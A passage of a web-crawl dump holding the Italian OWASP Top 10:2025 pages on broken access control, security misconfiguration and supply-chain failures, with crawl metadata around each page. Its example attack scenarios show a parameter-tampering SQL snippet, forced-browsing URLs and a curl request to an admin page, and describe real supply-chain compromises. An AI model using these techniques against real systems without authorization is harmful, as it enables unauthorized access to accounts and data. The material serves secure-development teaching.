stato devono avere una durata breve per minimizzare la finestra di opportunità per un attaccante. Per JWT con durata più lunga, considerare l'uso di refresh token e seguire gli standard OAuth per revocare l'accesso.\n- Utilizzare toolkit o pattern ben consolidati che forniscono controlli degli accessi semplici e dichiarativi.\n\nGli sviluppatori e il personale QA devono includere test funzionali del controllo degli accessi nei test unitari e di integrazione.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** L'applicazione utilizza dati non verificati in una chiamata SQL che accede alle informazioni dell'account:\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery( );\n```\n\nUn attaccante può semplicemente modificare il parametro 'acct' del browser per inviare qualsiasi numero di account desiderato. Se non verificato correttamente, l'attaccante può accedere all'account di qualsiasi utente.\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**Scenario #2:** Un attaccante costringe semplicemente il browser a puntare a URL specifici. Sono necessari i diritti di amministratore per accedere alla pagina di amministrazione.\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\nSe un utente non autenticato può accedere a una delle due pagine, si tratta di una falla. Se un non-amministratore può accedere alla pagina di amministrazione, si tratta di una falla.\n\n**Scenario #3:** Un'applicazione gestisce tutto il controllo degli accessi nel front-end. Sebbene l'attaccante non riesca ad accedere a `https://example.com/app/admin_getappInfo` a causa del codice JavaScript in esecuzione nel browser, può semplicemente eseguire:\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\ndalla riga di comando.\n\n## Riferimenti.\n\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## Lista delle CWE Mappate\n\n- [CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 Absolute Path Traversal](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 UNIX Symbolic Link (Symlink) Following](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Windows Hard Link](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 Improper Preservation of Permissions](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 Improper Ownership Management](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 Unverified Ownership](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 Improper Protection of Alternate Path](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 Inclusion of Sensitive Information in Source Code Comments](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 Exposed Dangerous Method or Function](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 10580, "slov": 1146, "odkazu": 81, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:04", "sha256": "ffb317b7300f516df92af1b59eb5c90127443097db1590ae6b101761509478d2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A02_2025-Security_Misconfiguration/", "titulek": "A02 Security Misconfiguration - OWASP Top 10:2025", "h1": "A02:2025 Security Misconfiguration", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A02_2025-Security_Misconfiguration/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 Security Misconfiguration"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A02:2025 Security Misconfiguration\n\n## Contesto.\n\nSalendo dal #5 dell'edizione precedente, il 100% delle applicazioni testate è risultato avere qualche forma di configurazione errata, con un tasso medio di incidenza del 3,00% e oltre 719k occorrenze di una Common Weakness Enumeration (CWE) in questa categoria di rischio. Con lo spostamento sempre maggiore verso software altamente configurabile, non sorprende vedere questa categoria salire. Tra le CWE degne di nota vi sono *CWE-16 Configuration* e *CWE-611 Improper Restriction of XML External Entity Reference (XXE)*.\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27,70% | 3,00% | 100,00% | 52,35% | 7,96 | 3,97 | 719.084 | 1.375 |\n\n## Descrizione.\n\nLa Security Misconfiguration si verifica quando un sistema, un'applicazione o un servizio cloud è configurato in modo errato dal punto di vista della sicurezza, creando vulnerabilità.\n\nL'applicazione potrebbe essere vulnerabile se:\n\n- Manca un adeguato hardening della sicurezza in qualsiasi parte dello stack applicativo o i permessi sui servizi cloud sono configurati in modo errato.\n- Funzionalità non necessarie sono abilitate o installate (es. porte, servizi, pagine, account, framework di testing o privilegi non necessari).\n- Gli account di default e le relative password sono ancora abilitati e non modificati.\n- Manca una configurazione centrale per intercettare messaggi di errore eccessivi. La gestione degli errori rivela stack trace o altri messaggi di errore eccessivamente informativi agli utenti.\n- Per i sistemi aggiornati, le ultime funzionalità di sicurezza sono disabilitate o non configurate in modo sicuro.\n- Eccessiva priorità alla compatibilità con le versioni precedenti che porta a configurazioni non sicure.\n- Le impostazioni di sicurezza nei server applicativi, nei framework applicativi (es. Struts, Spring, ASP.NET), nelle librerie, nei database, ecc. non sono impostate su valori sicuri.\n- Il server non invia header o direttive di sicurezza, o non sono impostati su valori sicuri.\n\nSenza un processo ripetibile e concertato di hardening della configurazione della sicurezza applicativa, i sistemi sono a rischio più elevato.\n\n## Come prevenire.\n\nDevono essere implementati processi di installazione sicuri, incluso:\n\n- Un processo di hardening ripetibile che consenta la distribuzione rapida e semplice di un altro ambiente adeguatamente protetto. Gli ambienti di sviluppo, QA e produzione devono essere configurati in modo identico, con credenziali diverse utilizzate in ciascun ambiente. Questo processo deve essere automatizzato per minimizzare lo sforzo necessario per configurare un nuovo ambiente sicuro.\n- Una piattaforma minimale senza funzionalità, componenti, documentazione o campioni non necessari. Rimuovere o non installare funzionalità e framework non utilizzati.\n- Un'attività di revisione e aggiornamento delle configurazioni appropriate a tutte le note di sicurezza, aggiornamenti e patch come parte del processo di gestione delle patch (vedi [A03 Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/) ). Revisionare i permessi dello storage cloud (es. permessi dei bucket S3).\n- Un'architettura applicativa segmentata che fornisca una separazione efficace e sicura tra componenti o tenant, con segmentazione, containerizzazione o gruppi di sicurezza cloud (ACL).\n- Invio di direttive di sicurezza ai client, es. Security Headers.\n- Un processo automatizzato per verificare l'efficacia delle configurazioni e delle impostazioni in tutti gli ambienti.\n- Aggiungere proattivamente una configurazione centrale per intercettare messaggi di errore eccessivi come backup.\n- Se queste verifiche non sono automatizzate, devono essere verificate manualmente almeno annualmente.\n- Utilizzare la federazione di identità, credenziali di breve durata o meccanismi di accesso basati sui ruoli forniti dalla piattaforma sottostante anziché incorporare chiavi o segreti statici nel codice, nei file di configurazione o nelle pipeline.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** Il server applicativo include applicazioni di esempio non rimosse dal server di produzione. Queste applicazioni di esempio hanno falle di sicurezza note che gli attaccanti utilizzano per compromettere il server. Supponiamo che una di queste applicazioni sia la console di amministrazione e che le credenziali predefinite non siano state cambiate. In tal caso, l'attaccante accede con la password predefinita e prende il controllo.\n\n**Scenario #2:** Il directory listing non è disabilitato sul server. Un attaccante scopre che può semplicemente elencare le directory. L'attaccante trova e scarica le classi Java compilate, che decompila e fa reverse engineering per visualizzare il codice. L'attaccante trova quindi una grave falla nel controllo degli accessi nell'applicazione.\n\n**Scenario #3:** La configurazione del server applicativo consente la restituzione di messaggi di errore dettagliati, come stack trace, agli utenti. Ciò potrebbe esporre informazioni sensibili o falle sottostanti, come le versioni dei componenti note per essere vulnerabili.\n\n**Scenario #4:** Un cloud service provider (CSP) ha come default i permessi di condivisione aperti a Internet. Ciò consente l'accesso ai dati sensibili archiviati nello storage cloud.\n\n## Riferimenti.\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V13 Configuration](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n\n## Lista delle CWE Mappate\n\n- [CWE-5 J2EE Misconfiguration: Data Transmission Without Encryption](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 Active Debug Code](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 8030, "slov": 933, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:05", "sha256": "e19289b4f776786742072eb2da5f857cb3bed90a70d2b87e933d88bf33849b45", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 Software Supply Chain Failures - OWASP Top 10:2025", "h1": "A03:2025 Software Supply Chain Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 Software Supply Chain Failures"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti"}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A03:2025 Software Supply Chain Failures\n\n## Contesto.\n\nQuesta categoria è risultata al primo posto nel sondaggio della community del Top 10, con esattamente il 50% dei rispondenti che la classificava al #1. Dalla sua prima comparsa nel Top 10 del 2013 come \"A9 – Using Components with Known Vulnerabilities\", il rischio è cresciuto fino a includere tutti i fallimenti della supply chain, non solo quelli che coinvolgono vulnerabilità note. Nonostante questo ambito ampliato, i fallimenti della supply chain continuano a essere difficili da identificare con solo 11 Common Vulnerability and Exposures (CVE) con le CWE correlate. Tuttavia, quando testata e riportata nei dati contribuiti, questa categoria ha il tasso medio di incidenza più alto al 5,19%. Le CWE rilevanti sono *CWE-477: Use of Obsolete Function, CWE-1104: Use of Unmaintained Third Party Components*, CWE-1329: *Reliance on Component That is Not Updateable*, e *CWE-1395: Dependency on Vulnerable Third-Party Component*.\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9,56% | 5,72% | 65,42% | 27,47% | 8,17 | 5,23 | 215.248 | 11 |\n\n## Descrizione.\n\nI fallimenti della supply chain del software sono interruzioni o altre compromissioni nel processo di costruzione, distribuzione o aggiornamento del software. Sono spesso causati da vulnerabilità o modifiche malevole nel codice di terze parti, negli strumenti o in altre dipendenze su cui il sistema si basa.\n\nÈ probabile che tu sia vulnerabile se:\n\n- non monitori attentamente le versioni di tutti i componenti che utilizzi (sia lato client che lato server). Ciò include i componenti che utilizzi direttamente e le dipendenze annidate (transitive).\n- il software è vulnerabile, non supportato o non aggiornato. Ciò include OS, server web/applicativi, DBMS, applicazioni, API e tutti i componenti, ambienti di runtime e librerie.\n- non effettui scansioni regolari per le vulnerabilità e non ti abboni ai bollettini di sicurezza relativi ai componenti che utilizzi.\n- non disponi di un processo di gestione delle modifiche o di monitoraggio delle modifiche all'interno della tua supply chain, incluso il monitoraggio di IDE, estensioni e aggiornamenti IDE, modifiche al repository di codice della tua organizzazione, sandbox, repository di immagini e librerie, il modo in cui gli artifact vengono creati e archiviati, ecc. Ogni parte della tua supply chain deve essere documentata, soprattutto le modifiche.\n- non hai rafforzato ogni parte della tua supply chain, con particolare attenzione al controllo degli accessi e all'applicazione del minimo privilegio.\n- i sistemi della tua supply chain non hanno alcuna separazione dei compiti. Nessuna singola persona dovrebbe poter scrivere codice e promuoverlo fino in produzione senza la supervisione di un'altra persona.\n- vengono utilizzati componenti da fonti non attendibili, in qualsiasi parte dello stack tecnologico, o possono impattare gli ambienti di produzione.\n- non correggi o aggiorni la piattaforma sottostante, i framework e le dipendenze in modo tempestivo e basato sul rischio. Ciò accade comunemente in ambienti dove le patch sono un'attività mensile o trimestrale sotto controllo delle modifiche, lasciando le organizzazioni esposte per giorni o mesi prima di correggere le vulnerabilità.\n- gli sviluppatori software non testano la compatibilità delle librerie aggiornate, aggiornate o patchate.\n- non metti in sicurezza le configurazioni di ogni parte del tuo sistema (vedi [A02:2025-Security Misconfiguration](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) ).\n- la tua pipeline CI/CD ha una sicurezza più debole rispetto ai sistemi che costruisce e distribuisce, specialmente se è complessa.\n\n## Come prevenire.\n\nDeve essere in atto un processo di gestione delle patch per:\n\n- Generare e gestire centralmente il Software Bill of Materials (SBOM) dell'intero software.\n- Monitorare non solo le dipendenze dirette, ma anche le loro dipendenze (transitive), e così via.\n- Ridurre la superficie di attacco rimuovendo dipendenze non utilizzate, funzionalità, componenti, file e documentazione non necessari.\n- Fare un inventario continuo delle versioni dei componenti sia lato client che lato server (es. framework, librerie) e delle loro dipendenze utilizzando strumenti come OWASP Dependency Track, OWASP Dependency Check, retire.js, ecc.\n- Monitorare continuamente fonti come Common Vulnerability and Exposures (CVE), National Vulnerability Database (NVD) e [Open Source Vulnerabilities (OSV)](https://osv.dev/) per le vulnerabilità nei componenti utilizzati. Utilizzare software composition analysis, supply chain del software o strumenti SBOM orientati alla sicurezza per automatizzare il processo. Abbonarsi agli alert per le vulnerabilità di sicurezza relative ai componenti utilizzati.\n- Ottenere componenti solo da fonti ufficiali (attendibili) tramite link sicuri. Preferire pacchetti firmati per ridurre la possibilità di includere un componente modificato e malevolo (vedi [A08:2025-Software and Data Integrity Failures](https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/) ).\n- Scegliere deliberatamente quale versione di una dipendenza utilizzare e aggiornare solo quando necessario.\n- Monitorare le librerie e i componenti non mantenuti o che non creano patch di sicurezza per le versioni più vecchie. Se le patch non sono possibili, considerare la migrazione a un'alternativa. Se non è possibile, considerare l'implementazione di una virtual patch per monitorare, rilevare o proteggere dal problema scoperto.\n- Aggiornare regolarmente CI/CD, IDE e qualsiasi altro strumento di sviluppo.\n- Evitare di distribuire aggiornamenti a tutti i sistemi contemporaneamente. Utilizzare rollout graduali o canary deployment per limitare l'esposizione in caso di compromissione di un vendor attendibile.\n\nDeve essere in atto un processo di gestione delle modifiche o un sistema di monitoraggio per tracciare le modifiche a:\n\n- Impostazioni CI/CD (tutti gli strumenti di build e pipeline)\n- Repository di codice\n- Aree sandbox\n- IDE degli sviluppatori\n- Strumenti SBOM e artifact creati\n- Sistemi di logging e log\n- Integrazioni di terze parti, come SaaS\n- Repository di artifact\n- Container registry\n\nRafforzare i seguenti sistemi, inclusa l'abilitazione di MFA e il blocco degli IAM:\n\n- Il repository di codice (che include il non inserimento di segreti, la protezione dei branch, i backup)\n- Le workstation degli sviluppatori (patch regolari, MFA, monitoraggio e altro)\n- Il server di build e CI/CD (separazione dei compiti, controllo degli accessi, build firmate, segreti con scope per ambiente, log a prova di manomissione e altro)\n- Gli artifact (garantire l'integrità tramite provenienza, firma e timestamp, promuovere gli artifact piuttosto che ricostruirli per ogni ambiente, garantire che le build siano immutabili)\n- L'infrastruttura come codice (gestita come tutto il codice, incluso l'uso di PR e controllo delle versioni)\n\nOgni organizzazione deve garantire un piano continuo per il monitoraggio, il triage e l'applicazione di aggiornamenti o modifiche di configurazione per tutta la durata dell'applicazione o del portfolio.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** Un vendor attendibile viene compromesso con malware, portando alla compromissione dei tuoi sistemi informatici quando esegui l'aggiornamento. L'esempio più famoso di questo è probabilmente:\n\n- La compromissione di SolarWinds nel 2019 che ha portato alla compromissione di circa 18.000 organizzazioni. [https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**Scenario #2:** Un vendor attendibile viene compromesso in modo tale da comportarsi in modo malevolo solo sotto una condizione specifica.\n\n- Il furto di 1,5 miliardi di dollari da Bybit nel 2025 è stato causato da [un attacco alla supply chain nel software del wallet](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) che veniva eseguito solo quando il wallet target era in uso.\n\n**Scenario #3:** Il [supply chain attack `Shai-Hulud`](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) nel 2025 è stato il primo worm npm auto-propagante di successo. Gli attacchi hanno seminato versioni malevole di pacchetti popolari, che utilizzavano uno script post-install per raccogliere ed esfiltrare dati sensibili in repository GitHub pubblici. Il malware rilevava anche i token npm nell'ambiente vittima e li utilizzava automaticamente per pubblicare versioni malevole di qualsiasi pacchetto accessibile. Il worm ha raggiunto oltre 500 versioni di pacchetti prima di essere interrotto da npm. Questo attacco alla supply chain era avanzato, a diffusione rapida e dannoso, e prendendo di mira le macchine degli sviluppatori ha dimostrato che gli sviluppatori stessi sono ora obiettivi primari degli attacchi alla supply chain.\n\n**Scenario #4:** I componenti tipicamente vengono eseguiti con gli stessi privilegi dell'applicazione stessa, quindi le falle in qualsiasi componente possono avere un impatto grave. Tali falle possono essere accidentali (es. errore di codice) o intenzionali (es. una backdoor in un componente). Alcuni esempi di vulnerabilità di componenti sfruttabili scoperte sono:\n\n- CVE-2017-5638, una vulnerabilità di remote code execution in Struts 2 che consente l'esecuzione di codice arbitrario sul server, è stata imputata a violazioni significative.\n- CVE-2021-44228 (\"Log4Shell\"), una vulnerabilità zero-day di remote code execution in Apache Log4j, è stata imputata a campagne di ransomware, cryptomining e altri attacchi.\n\n## Riferimenti\n\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [OWASP Dependency Check (for Java and .NET libraries)](https://owasp.org/www-project-dependency-check/)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cve.org)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://retirejs.github.io/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n\n## Lista delle CWE Mappate\n\n- [CWE-447 Use of Obsolete Function](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 Reliance on Component That is Not Updateable](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 Reliance on Insufficiently Trustworthy Component](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 11593, "slov": 1502, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:06", "sha256": 